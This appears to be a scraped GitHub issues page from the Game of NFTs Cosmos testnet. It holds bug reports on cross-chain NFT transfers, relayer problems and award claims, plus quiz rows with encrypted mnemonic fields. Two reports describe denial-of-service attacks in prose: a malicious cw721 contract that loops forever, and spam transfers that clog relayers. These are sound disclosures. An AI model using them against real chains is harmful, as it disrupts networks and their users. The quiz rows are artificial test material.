quiz095 iaa1dvshuy7c9rkzvr87g6dmwyxatxhfhkn0fz08sd {"question":"What are the Cosmos community members called?","mnemonics_encrypted":"_IM7T0rM4JaYjrQYuPUOsTe11ZZCetd81UgJRgDueQ2EOGN8cMwEyQfxJTTB5FjwsgSqHG4Pxdtf-FBe3SNuw2ZJFTmWkKZp06rRPiv-WGJ4x7SB8_g0ZpkoQkpO6lCQws4Na0OwMvP1eRCH3Cc7XGyfkzMwzvOdQ__uUKoYFktlJwwFjghVORyzzL9qfeSaNCnWSgLxNisQwIncrsUN-g==","flow":"f04"}
quiz096 iaa1h76dw72f7mhys47pzt02uvru9739grgt4jck9l {"question":"What are the OmniFlix community members called?","mnemonics_encrypted":"_eQ8heJ0l9-2_LQ4j-JXXCa31IIUqTyFhQI7jnc_Yxg2xkf2eYNTgzL7Epp2oPqh3UsrrvTrw7gf_y6mR7y-tynqxOKLGYJcbL5QwgtNtpy0bH1Lae1y6ybC0-28i-mojGamMGm9F12SCP9zafrAWxEvfZg3g2Z6qMYx8BEuYJuDqJdzoKNpn5nG-v_T86-9Eq5QixQD2DyNJoOkKxBcmrsuOkjUHu-8","flow":"f04"}
quiz097 iaa1h2tdk9v4z8u8tyerxhhcxp79upujdz7ypeq99k {"question":"What are the Stargaze community members called?","mnemonics_encrypted":"IQBB5rQCdim283JOemmbwNy81-N6BmRaBHd53vikCfJ6pAvFqvmuUhyLGy05tb7boUMsVOLVCSGNBmbf7lXqziKaaAUmdouqo8j7Z17BwRWDg5A2xWlXBcp4ZrIIykdU3tsss0rPYFZ9yXKbLnlkzAmEMDrZRhyP7leU2l7sA_poxAhtOQ3NyIigOjexGYzyWcQRAgYS5CAnBRwqC8S7","flow":"f04"}
quiz098 iaa1xuwxqhvj3lq8xu6py9lkkhccdg3etd6ad7q6u8 {"question":"What is the name of the newly launched state machine replication engine for the Cosmos Interchain world?","mnemonics_encrypted":"P8a2P64oKCfTDW4U4aSX8OH3eyHDCbTXg3thO2nQcl0taqf0rz_zmtJPwS8k-8wDjubaSS-IOV_Hk2ZfC6nFhVFWRmFljebTt-kLiQL4I3wyoNS5NEFNLDqxlmZprFa7h41Odm1AOcwxaH_UIaHX8OXrqKgY2qEhaVHk0NhdYr16sI2-PQIDnwdRwQhr-iL7erU0jw4I6ac7UfVTpwI=","flow":"f04"}
quiz099 iaa14alezgfg4wy7pfrtxy5tvpy9u7rstlkpp0fltx {"question":"What is the delimiter for ibc class trace?","mnemonics_encrypted":"vQS2tVP0k5Iut3NAMMqatUldOO5-qDeDlpgd42MxadNvzBYKaWBBtZacl6JGgvcFLKoiPwVebpGH0ui9cRywP6BoTETMJ0eJUEESGd45j0m0UOeKuOuxc8O6KIP0AsajyniQR1pEsZ__PbJenAlyRCcwb-f4C9H_Vf2vPfW_hW_QTME0S7zmndWDdY1YkGU5h_hEHnNPMFF6JEtnHfr7WmaLx5AOKwIufr-10mA2vn_VlAyXzTFAUQ==","flow":"f04"}
quiz100 iaa1g7k2af2ytyj63hgjqkg44a7gxnegxcju4s9rwh {"question":"In which year was the Cosmos Interchain Accounts feature launched?","mnemonics_encrypted":"7PGJmSd9nZFUxepfGWKboMtnEZnucPEswUBpe74ciWU2JyZnKfFcaULCBBHGCnk4C6hk84WFpcihxDCTFB91i1S3GktoSYJh2nyZiwweLIiWu5YGsE_udzsZSMYje2xME3oXxFqawy9UlIalRmRO0eEKz_ic4-lQchejtaFkuC511j3_dcADja4X7he6Mv4fY-DToB1Wd6NwkjudYdvvaFi4pA3iyKzhWGTxI4C9","flow":"f04"}

BUG: Uptick token query - nft id(arkNFT022) only accepts alphanumeric characters

Summary of Bug

NFT with id arkNFT022 exists, but query stops with error

Environment

  • OS: Ubuntun 22.04
  • Software version: uptickd v0.2.6

Steps to Reproduce

# token query returns error
$ uptickd query collection token 'ibc/326A6F38C0A4460B7F02AC3D936693254314A5F11720FE12DFE3B31036844B7B' 'arkNFT022' --output json

Error: nft id(arkNFT022) only accepts alphanumeric characters, and begin with an english letter: invalid nft id

# collection query though shows correct NFTs
$ uptickd query collection collection 'ibc/326A6F38C0A4460B7F02AC3D936693254314A5F11720FE12DFE3B31036844B7B' --output json | jq
...
      {
        "id": "arkNFT022",
        "name": "",
        "uri": "",
        "data": "{\"irismod:name\":{\"value\":\"\"},\"irismod:uri_hash\":{\"value\":\"\"}}",
        "owner": "uptick1h7c0ltrj6z707eh3z4cyv4jkqwfv6lj76se7lr",
        "uri_hash": ""
      }
    ]
...

BUG: `query nft denoms`

Summary of Bug

Not all denoms are shown. Problem is either in CLI/client or nft module.

Environment

  • OS: Ubuntu 22.04
  • Software version: iris version 1.4.1-gon-testnet

Steps to Reproduce

This query tells me there are 100 collections:

$ iris query nft denoms --page 0 | grep "id:" | wc -l
100 # 100 collections found

Now create a new collection:

$ iris tx nft issue arkprotocol004 --symbol "arkprotocol_symbol" --name "Ark Protocol - building multichain utilities" --uri "https://arkprotocol.io" --mint-restricted=true --update-restricted=true --from iaa183e7ccwsnngj2q8lfxnmekunspnfxs6qxd4v3f --fees 2000uiris -b sync --yes --output json

Query shows collection is, but the number of collections is still 100:

$ iris query nft denoms | grep "arkprotocol004"
  id: arkprotocol004

$ iris query nft denoms | grep "id:" | wc -l
100

Queries are paginated and there's --page with default value 1, however no matter what page is given it always currents the latest 100 collections:

$ iris query nft denoms | grep "arkprotocol004"
  id: arkprotocol004
$ iris query nft denoms | grep "id:" | wc -l
100
$ iris query nft denoms --page 100 | grep "id:" | wc -l
100
$ iris query nft denoms --page 1 | grep "id:" | wc -l
100
$ iris query nft denoms --page 2 | grep "id:" | wc -l
100
$ iris query nft denoms --page 3 | grep "id:" | wc -l
100
$ iris query nft denoms --page 4 | grep "id:" | wc -l
100
$ iris query nft denoms --page 10000 | grep "id:" | wc -l
100

Here is another example from ibc module where queries work properly:

$ iris query ibc channel channels --page 1 | grep '\- channel_id' | wc -l
39
$ iris query ibc channel channels --page 2 | grep '\- channel_id' | wc -l
0

Expected and Actual Behavior

Return collections based on pagination.

GON: Evidence Format Matters

Abstract

During the evidence verification process, format inconsistencies were encountered in evidence files submitted by some participants. The following issues were identified:

  • Some participants added the wasm prefix to the classId for wasm. However, the prefix is not required as wasm.addr represents an ics-721 port. This can be handled by removing the prefix.
  • Many participants entered their values in row 3 of the sheet instead of starting from row 2. It is required to start from row 2. The original values in row 2 serves as a brief description and should be replaced with real evidence. Such evidence will not be processed.
  • Some participants changed the name or format of the sheet. Such evidence will not be processed.

👀 Will make the error reason more clear the next Monday (around 2023-03-13:14:00 UTC+8). Your points aren't lost as long as the task is completed.

Incorrect examples

Row incorrect

image

Sheet format changed

image

image

What to do next

Stage 2 is still ongoing. When submitting new evidence please ensure that your format is correct and fix your old evidence format.

We will revalidate your evidence from Stage 1 during the Stage 2 validation process and update your score based on your evidence.

BUG: NFT stuck after apparent successful recv_packet

I believe, right now at least, this particular issue to be different than most of the "stuck" issues which are just IBC transactions not relayed. In this case, the message has been relayed.

Initial transaction: https://gon.ping.pub/iris/tx/31BF0367A0CC2855A5A29D414F0026AC62F03B47E2DA20B4B45F9D84981B3499

Receive transaction: https://gon.ping.pub/stargaze/tx/4379374DCEE2CAEA5EEEBACFBE476BFC7C4D2B57993D9695C6209DDCF1073503

In the write_acknowledgement events, we can see something happened:

packet_ack: {"error":"codespace: wasm, code: 5"}

The owner of the NFT in question is still the bridge:

$ starsd q wasm contract-state smart stars1t96ufuv24knrau6d4vnzq4988v7j0um4m9efu8chh4eenmr755nsuexkcp '{"owner_of": {"token_id": "test01"}}'
data:
  approvals: []
  owner: stars1ve46fjrhcrum94c7d8yc2wsdz8cpuw73503e8qn9r44spr6dw0lsvmvtqh

AWARD: Exclusive nominee Community Star

SUMMARY
I decided to aggregate information that will be useful for testing. As the tasks are completed, I will supplement this topic.

So, let's begin:

1. Setting config, for example IRIS:

$ iris config
{
        "chain-id": "gon-irishub-1",
        "keyring-backend": "os",
        "output": "json",
        "node": "http://34.80.93.133:26657",
        "broadcast-mode": "sync"
}

I suggest setting as a minimum node and chain-id.

iris config node <node>
iris config chain-id <chain-id>

Also better setting broadcast-mode to sync. This way it only waits until TX is returned. using block leads often client to timeout after a certain limit - which doesn't mean command is not executed... just don't use async otherwise you won't get a tx.
Since output is sometimes very long. You can output to json and use jq in bash for better formatting. With jq you can easily also query elements in json.

2. Uptick GON Explorer
I did not find information about the Uptick browser, so I will write it down here: https://explorer.testnet.uptick.network/

3.Useful linkfor Decode/Encode Base64 format (Necessary for payload message).
https://www.base64encode.org/

Utility

I want to leave a probably useful link for those who want to save their time writing transactions.
Let's say thanks to the participants of testnet`a, although I personally do not use it, it will probably be useful to someone.
http://gon.disperze.com/ibc-transfer

Help for participants

I also worked for the benefit of test participants by helping them with the following(Some members contacted DM):

  1. Help with commands
  2. Help with the particular details of the challenges
  3. Help with NFT token tracing.

BUG: I sent a NFT 2 times with same command and got success both times.

Summary of Bug

For b1-revisit task, I sent a NFT from uptick to stargaze 2 times and got success both times.

Environment

  • OS: Any
  • Software version: Any

Steps to Reproduce

  1. I created a NFT with "uniqnft12" id under "uniq1" collection in iris.
    (AFDD2A01A37ECDCB9208F690C113C35C53FAB63A8EA5787AA18D488C8C135760)
  2. I sent this NFT from iris to stargaze.
    (F7AA5E1383EDADB499D46CDDDBE8896E5C71074C83E719F50FDAA478D7973E5E)
  3. I sent this NFT from stargaze to uptick.
    (B6516650259E798921F73A843FB4AB505B6D737120AB1FE040701C30F34020E9)
  4. I sent this NFT from uptick to stargaze and got success, but when I couldn't see the NFT on stargaze, I sent it again with the same command and got success again.
    (D8466750AFA1ED29FB2AE19F893627343FAE221553B3B4ACD539FA91B2332EDF)
    (E2E238AD26E76CB17694C885C55EFFA04887C5D156D641091321C1489DC52101)

Expected and Actual Behavior

The submission should have failed and I should have gotten the following error.
"failed to execute message; message index: 0: not token owner: unauthorized"

But both submissions were successful.
Uptick Tx-1: D8466750AFA1ED29FB2AE19F893627343FAE221553B3B4ACD539FA91B2332EDF
2023-03-07 05:35
Uptick Tx-2: E2E238AD26E76CB17694C885C55EFFA04887C5D156D641091321C1489DC52101
2023-03-07 18:11

Error Stack

Additional Context

BUG: cw-ics721 attacked by malicious CW721 contract

Summary of Bug

A cw721 contract containing malicious code added to TransferNft method, which would then be executed by ICS721 to redeem an NFT (on IBC Rcv).

Environment

Steps to Reproduce

  • Customize cw721-base contract, add infinte loop code to transfer_nft handler.
  • Upload code, Instantiate and mint an NFT
  • Transfer NFT to IRIS network
  • Return NFT to JUNO Network

Expected and Actual Behavior

Expected: ACK with error for exceeding the gas limit
Actual: Transaction on JUNO (IBC Recv) never completes

Additional Context

This can cause a DoS attack, where relayers are busy trying to execute transactions that cannot be completed.

Malicious cw721 contract
https://blueprints.juno.giansalex.dev/#/contracts/juno1rn6q7hdd95wly4tuun7ffjc4x2rak27twd6ypynlyplpc84um03qqvtq7h

Bug: Multiple nft cross-chain transactions

Cross-chain an nft from uptick to iris, and generate a transaction record on uptick. Correspondingly, a cross-chain record will be generated in iris. But now there are many cross-chain records on iris.

uptick nft denom id : notSet
uptick nft token id : multx16
uptick ibc txid: BE089C574C182D5E3DCD445BBCAF305B8D32E20B5C034EF0B75D12ADCC51BF19

iris nft denom id: ibc/E58F5FEFD89F869F9AE2341448867E4AFAECE456AE7146F2FFD5BBC50969C154
iris nft token id : multx16
iris ibc txid :
txid: 74F6289C34C0E4E659482C12A29E653B220BAD05E194A8721832FA2B55571F7A height: 378521
txid: 70A605EE8AFE618C3047FC7A6FD2C8F2FF8D7DB15D8820F989594AB198C0B88E height: 378521
txid: 88D6E49604EC07C4E0C5C50F52C8789C16F1B8B8B8AD7F0A3EA62CBA19B99341 height: 378521
txid: 694869FBEB58318DCA0EAC44C28F60E94FF64B7F6022286E3806EA545B53594A height: 378520
txid: 9085719F2C9F8AE9CD238E33207EDB28D5DE850B6F62F2C8D8E49C57E417F200 height: 378520
txid: F28162F44A9F280AE04B1A3552353CF8CAF72951B50F7991E058BD259866BA8F height: 378520

Refer to: http://34.80.93.133:1317/cosmos/tx/v1beta1/txs?events=recv_packet.packet_sequence%3D%27172%27&events=recv_packet.packet_src_channel%3D%27channel-3%27&events=recv_packet.packet_dst_channel%3D%27channel-17%27&pagination.reverse=false&limit=10&page=1

BUG: Go relayer not picking up all timeouts

We have been having issues with NFTs getting stuck:
#329

Aptly nicknamed #NonFindableToken by @chillyvee.

First level observation: it seems like perhaps the go relayer was the only relayer running on is-2, si-2. Because when I started up the hermes relayer on this channel it found the missing transactions and posted timeout proofs.

My intial missing tx (more than 24 hours ago): https://gon.ping.pub/stargaze/tx/9A569DBF71A38CE3927E5EA05A24C585E39716AE31BAF21121960661C63D016D

The timeout tx from my relayer: https://gon.ping.pub/stargaze/tx/E21FEA090D179E97E04E5F9D65EEFB67B0067A52CF7F16E6C34A7C20BBADAC5C

This might of course very well be a relayer configuration issue and that for a short while nobody relayed on that particular channel, and the misconfigured relayers didn't pick up old ones packets.

BUG: Cannot return an NFT with special classID

After transfer via IBC an NFT that has a classID with special characters (e.g: p/0/1), I can't return it to the origin chain.

Environment

Steps to Reproduce

  • Create collection with special chars and mint an NFT
iris tx nft issue disperze/0/1 
iris tx nft mint disperze/0/1 gonft001
  • Transfer to JUNO
iris tx nft-transfer transfer nft-transfer channel-24 <receiver> disperze/0/1 gonft001
  • Return to origin (IRIS)
MSG='{"send_nft": {"contract": "juno1stv6sk0mvku34fj2mqrlyru6683866n306mfv52tlugtl322zmks26kg7a", "token_id": "gonft001", "msg": "eyAicmVjZWl2ZX.....zF9IH0gfQ=="}}'

junod tx wasm execute <cw721-contract> "$MSG"

Expected and Actual Behavior

Expected: Recover the original NFT on IRIS
Actual: Error ibc/C99502011F102E8562678BB2FD928A7CC78E051C207DF6908C3F1E30BD9F1D5C: nft class does not exist

Additional Context

ClassID sent from JUNO chain: wasm.juno1stv6sk0mvku34fj2mqrlyru6683866n306mfv52tlugtl322zmks26kg7a/channel-89/disperze/0/1
but nft-transfer module is searching classID: "ibc/" + sha256("disperze/0/1") instead disperze/0/1

Txs
IRIS: https://gon.ping.pub/iris/tx/5210E17BB09FD3B3DDB77844C9D3E375182251275DA84F386925734FE3910D81
JUNO: https://blueprints.juno.giansalex.dev/#/transactions/5E7EAB3013FEA650ADB1B91D1A6F4FAD2DEF0BB66B7C7989FF11B67450EDFA58

go method:
https://github.com/bianjieai/nft-transfer/blob/v1.1.1-beta/types/trace.go#L64

Bug: Missing transaction event

NFT cross the chain from iris to uptick. The nft on iris is locked to an address, but there is no event of nft to this locked address in the transaction record of iris

BUG:Reason for contract error in nft from cosmos chain to wasm nft

In NFT cross chain transactions from Uptick, Irihub, and Omniflixhub to Stargaze, Juno, the parameter "revision_height" will be automatically obtained when creating cross chain transactions, but the obtained "revision_height" is smaller than the actual value. One party successfully trades but the other party does not receive it, resulting in NFT being in a managed state all the time.

For example, NFT cross chain from Omniflixhub to Juno。 txid: EE3F6EE8E874B633C0985C3265995394E137C94A543B6914DA870F177E7F2AB, the transaction creation time is 2023-03-17T01:57:37Z, and the value of the parameter "revision_height" is 565953, but in the Juno chain, the time for the height of 565953 is 2023-03-15T18:00:35.071266717Z. The timeout for ibc transactions is significantly shorter than the current time,

https://gon.ping.pub/omniflix/tx/EE3F6EE8E874B633C0985C32659953942E137C94A543B6914DA870F177E7F2AB
图片

https://gon.ping.pub/juno/blocks/565953
图片

There are also similar cases:

Irishub to Juno txid:95A22293F62C7387DEF2A5ADC231F347D68920BA5151D28641117C8559DB98A5
uptick to Juno txid:343636B2361DDA92303AB318FE0CE39C5D997FB0E469BBA15FBDB408E748741F

BUG: cw-ICS721 cannot mint tokens received.

Summary of Bug

That happens when a token is sent in a second flow and the cw-ics721 has not received IBC Acknowledge in time.
e.g:

  1. i -> j (OK)
  2. j -> i (JUNO does not receive IBC ACK in time)
  3. i -> j (JUNO cannot mint the token on IBC Recv)

Looking in the code, this occurs because cw-ics721 burns the token sent to the remote chain in IBC ACK event, but due to spam it does not receive the ACK in time.
https://github.com/public-awesome/ics721/blob/main/contracts/cw-ics721-bridge/src/ibc.rs#L172

Steps to Reproduce

Expected and Actual Behavior

  • Expected: Successful token receipt
  • Actual: ACK with error: execute wasm contract failed

Additional Context

The burn event must occur at the time of transfer, as does nft-transfer module.
https://github.com/bianjieai/nft-transfer/blob/v1.1.1-beta/keeper/relay.go#L259

Bug: Nft stuck on omniflix

Summary of Bug

For A8 - flow-a2 - never-go-back task, My nft stuck on omniflix.

  1. I minted a NFT with "rawnft08" id under "rawalotcollection" collection in iris.
    https://gon.ping.pub/iris/tx/EBFEAEB09EA9C19256C86B905B0EBD131099E6905BB4D7DA85D44AABCF9EE437
  2. I sent nft from iris to uptick.
    https://gon.ping.pub/iris/tx/145B8E7BAB0CFA732051396E0CF467705B86443D7795E094D65EF4E54CE88370
  3. I sent nft from uptick to omniflix.
    https://explorer.testnet.uptick.network/uptick-network-testnet/tx/27E5A58620F9F7A67FC94E91E983CA101F279CBE0EB0627BAE13DCAFE84F87B6
  4. I sent nft from omniflix to iris.
    https://gon.ping.pub/omniflix/tx/DB0C0B2B067022973DCAD57E28FE291BD918468D21D60079E72E1F1CA19766EB
    The tx on omniflix got success response. But the nft didn't appear on iris network. After 1 hour later I tried again to send from omniflix to iris.
    https://gon.ping.pub/omniflix/tx/43F7407432A435EF6C8A48A5CA81C91851537421C6864A5A00907D39EEF01A52
    Second tx got error. Because the owner of nft not me. It changed to omniflix1m2nuc50f4qk2czsahluts574agsn9gr9zrnmkt. My address on omniflix is omniflix14zru37e9zrha0lsnc64e89mc22etq50g49jwuz.

Now the nft stuck between omniflix and iris. Nft does not appear on me neither omniflix network nor iris network.

Environment

  • OS: ubuntu 20.04
  • Software version: omniflixhub 0.9.0-gon-test2

Steps to Reproduce

Expected and Actual Behavior

Expected: The nft should have appeared iaa14zru37e9zrha0lsnc64e89mc22etq50gaerxfd on iris network or omniflix14zru37e9zrha0lsnc64e89mc22etq50g49jwuz on omniflix network.

Actual: Now nft owner is omniflix1m2nuc50f4qk2czsahluts574agsn9gr9zrnmkt.

Error Stack

Additional Context

It seems like an ibc relayer bug.

BUG: Juno cannot receive NFT

Summary of Bug

Cannot get class hash after sending the nft using the command:
junod q wasm contract-state smart juno1stv6sk0mvku34fj2mqrlyru6683866n306mfv52tlugtl322zmks26kg7a '{"nft_contract": {"class_id" : "wasm.juno1stv6sk0mvku34fj2mqrlyru6683866n306mfv52tlugtl322zmks26kg7a/channel-91/nft-transfer/channel-41/nft-transfer/channel-6/wasm.stars1ve46fjrhcrum94c7d8yc2wsdz8cpuw73503e8qn9r44spr6dw0lsvmvtqh/channel-209/nft-transfer/channel-24/supermintG"}}'

Both nfts are in the escrowed address on Omni, but Juno cannot find class hash

Environment

OS: macOS 13.2.1 (22D68)
Software version: v12.0.0

Steps to Reproduce

This happens when I transfer NFT following this flow: i --(1)--> s --(1)--> o --(1)--> j
(It happens before, when transfer from s--> j, but it can be resolved by resending the transaction again from s (multiple times))

I have tried to send two nft following this flow, one with a timeout, and one that does not.
Transaction hash:
without timeout: https://gon.ping.pub/omniflix/tx/7B25136A52103139DCAC9E8F7CC45917590A88A3858C6AFBE1F598D23E8AE46D
with timeout: https://gon.ping.pub/omniflix/tx/95D70081B7992BC3A4D26C9741E3FE07B7EC9693C863E0FF6704F2D61B693834

Expected and Actual Behavior

It should return a class-hash. It returns null.
image

Additional Context
This happens a lot when transfer to Juno

A16 issues

I'm failing A16 on the scoreboard, I double-checked the 'osmanb' and the flow and couldn't find a problem, is it possible to find out the cause of the error. @taramakage

BUG: Original NFT data is modified after IBC transfers

Summary

The NFT data is modified when it is sent to chains with nft-transfer module, but not when it is sent to CosmWasm chains (cw-ics721).

Environment

Steps to Reproduce

  • Create collection, mint an NFT on IRIS
  • Transfer to JUNO / Return to IRIS (data is not modified)
    NFT data:
{"irismod:name":{"value":"GoN NFT 001"},"irismod:uri_hash":{"value":""}}
  • Transfer to Uptick / Return to IRIS
    NFT data:
{"irismod:name":{"value":"GoN NFT 001"},"irismod:uri_hash":{"value":""},"uptickd:name":{"value":""},"uptickd:uri_hash":{"value":""}}
  • Transfer to Omniflix / Return to IRIS
    NFT data:
{"irismod:name":{"value":"GoN NFT 001"},"irismod:uri_hash":{"value":""},"omniflix:created_at":{"value":"0001-01-01T00:00:00Z"},"omniflix:description":{"value":""},"omniflix:extensible":{"value":true},"omniflix:name":{"value":""},"omniflix:nsfw":{"value":false},"omniflix:preview_uri":{"value":""},"omniflix:royalty_share":{"value":"0.000000000000000000"},"omniflix:transferable":{"value":true},"omniflix:uri_hash":{"value":""},"uptickd:name":{"value":""},"uptickd:uri_hash":{"value":""}}

Expected and Actual Behavior

I would expect that the NFT data will not be modified, or that the behavior will be the same in all ICS721 implementations.

Additional Context

Challenge: EmpowerChain Claim C1: Self-relaying

I added the ability to self-relay using my GoN CLI in two different ways:
1: By transfering directly with the CLI and a --self-relay flag
2: By using a specific command that can relay any transaction if you know source-chain, destination-chain and the original transaction hash.

The self-relaying has proved robust and very useful. It re-uses a solid amount of code from both the GoN CLI itself and the go relayer (https://github.com/cosmos/relayer). It actually requires the go-relayer to be configured first, but the CLI relays the packages itself (it does not start the rly binary or anything). Update: It is now entirely zero-config setup: https://twitter.com/GjermundGaraba/status/1639621796105207810

The documentation for setup can be found here:
https://github.com/gjermundgaraba/gon-tools/blob/main/gon-cli/self-relay.md

The self-relaying code is mainly to be found here: https://github.com/gjermundgaraba/gon-tools/tree/main/gon-cli/gorelayer

An example usage of it can be found here: https://github.com/gjermundgaraba/gon-tools/blob/main/gon-cli/cmd/root_self_relay.go

To show that this really works, I also did the race challenges with a scripted version of this and go through the whole first flow in 25 blocks. And I included some safety sleeps to make sure blocks were settled in between things. This was while most packages were stuck and the channels full of spam. Proof of this can be found in my evidence.xslx

This can easily be extended to work outside of GoN, the code can use for instance Strangelove's Lens to get most of its configuration.

The relayer has been used by a lot of individuals during GoN, and also for helping out others that got their transactions stuck using different tools.

AWARD: EmpowerChain Claim 1: issue in nft-transfer might be possible to use to attack relaying capabilities

While relaying I discovered some strange transactions that seemed non-refundable. This was discussed here as well: #329 (comment)

In short, the nft-transfer module incorrectly assumes any class-id with a / in it is an ibc-denom and therefore creates a hashed class-id (ibc/hash)
The issue is this code: https://github.com/bianjieai/nft-transfer/blob/6b8596c47042c45cdba994b2b4e1b64f1520041b/types/trace.go#L64-L78

(A PR with a test and solution is incoming from me over the weekend!)

Seeing how these transactions keep coming up in any relayer configured to clear out timed out transactions, it seems like if you spam these transactions that can never be cleared, you can clog up the relayers. And if relayers are not able to clear out transactions, other legitimate timeout packets can be denied (so basically making this a potential denial of service attack).

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.